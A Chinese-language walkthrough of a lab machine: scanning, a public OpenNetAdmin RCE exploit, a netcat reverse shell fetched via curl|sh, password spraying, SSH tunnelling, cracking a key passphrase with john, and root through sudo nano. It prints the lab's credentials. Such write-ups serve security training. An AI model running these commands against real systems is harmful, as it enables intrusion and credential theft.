信息收集
TCP开放端口扫描
Warning: 10.129.53.214 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.53.214
Host is up (0.21s latency).
Not shown: 65477 closed tcp ports (reset), 56 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu Jan 18 09:45:37 2024 -- 1 IP address (1 host up) scanned in 29.81 seconds
探测tcp开放端口服务信息
# Nmap 7.93 scan initiated Thu Jan 18 09:47:21 2024 as: nmap -v -sC -sT -sV -O -p22,80, -oA open_port_service 10.129.53.214
Nmap scan report for 10.129.53.214
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b98df85d17ef03dda48cdbc9200b754 (RSA)
| 256 dceb3dc944d118b122b4cfdebd6c7a54 (ECDSA)
|_ 256 dcadca3c11315b6fe6a489347c9be550 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.18 (94%), Linux 3.16 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 5.1 (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%), Android 4.1.1 (93%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 18.701 days (since Sat Dec 30 16:58:20 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 18 09:47:50 2024 -- 1 IP address (1 host up) scanned in 28.96 seconds
Getshell
80端口
浏览器输入靶机ip10.10.11.242后,为apache默认页面,没有robots.txt文件。
目录爆破
└─$ cat web_scan_raft-small.txt
/music (Status: 301) [Size: 314] [--> http://10.129.53.214/music/]
/artwork (Status: 301) [Size: 316] [--> http://10.129.53.214/artwork/]
/server-status (Status: 403) [Size: 278]
/sierra (Status: 301) [Size: 315] [--> http://10.129.53.214/sierra/]
三个目录,一个个进去看。
/music
访问/music目录,点击login时过一会直接跳转到/ona目录
原谅我这里没截取浏览器的图,那里跳转的速度太快,老年人反应不过来啊。
新页面有软件版本信息:
kali直接searchsploit搜索是否有对应版本的nday,发现了个对应版本的RCE,
获取利用文件:
searchsploit OpenNetAdmin -m php/webapps/47691.sh
看处理逻辑:
需要我们输入第一个参数为url,然后会进入死循环读取我们的命令发送到服务器上并获取返回结果。
第一个窗口:写入反弹shell语句并开启http服务
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.21 9001 >/tmp/f'>rev.sh
python3 -m http.server 80
第二个窗口监听本地9001端口等待反弹shell
sudo rlwrap nc -lvnp 9001
第三个窗口:
python3 47691.sh http://10.129.53.231/ona/
$curl http://10.10.16.21/rev.sh|sh
利用python提升tty交互性
python3 -c 'import pty;pty.spawn("/bin/bash")'
提权
www-data -> jimmy
询问某网站chatgpt该cms的数据库配置文件名
然后在opennetadmin网站的根目录下搜索,find ./ -type f -name database*
在数据库配置文件里发现一个凭据
获取靶机上可登录用户名:
cat /etc/passwd|grep sh$
得到三个用户,使用crackmapexec进行密码喷洒:
crackmapexec ssh 10.129.53.214 -u user.txt -p password.txt --continue-on-success
得到ssh有效凭据:jimmy/n1nj4W4rri0R!
jimmy-->joanna
新一轮的信息枚举,在/var/www/下发现属主为当前用户的目录internal,进去查看:
在index.php中发现了用户名jimmy和sha512的加密hash,
将hash拿到https://hashes.com/en/decrypt/hash网站爆破得到明文密码Revealed。
main.php发现能够读取joanna的私钥
接下来就是查找哪个端口运行这个网站。
apache配置文件目录/etc/apache2/sites-enabled下有两个文件,查看internal.conf得知端口为52846
netstat -nltp
curl 127.0.0.1:52846 ,看到52846时发现和当前目录下的index.php文件内容一致
但这个端口仅在本地监听,需要进行端口转发,正好我们有一个ssh凭据,可以构建ssh隧道。
jimmy用户下执行:
ssh -CfN -L 10.129.53.231:52846:127.0.0.1:52846 jimmy@127.0.0.1
输入密码,ps -ef|grep ssh看隧道已经在后台运行。
接下来可以直接在kali浏览器访问靶机52846端口:
输入刚刚得到的用户凭据jimmy/Revealed,直接跳转到main.php,看到了joanna用户的私钥内容。
将私钥信息复制到一个文件中并将其权限改为600
chmod 600 joanna_id_rsa
然后尝试连接
ssh -i joanna_id_rsa joanna@10.129.53.231
但是需要我们输入key
尝试使用获得的密码进行碰撞,但都失败了。只能进行暴力破解:
ssh2john joanna_id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
得到明文bloodninjas
再次尝试连接,输入key,成功!
joanna --> root
sudo -l
根据nano | GTFOBins进行操作,成功提权!
注:这里的^R^X是ctrl+R 然后ctrl+X。
拿下!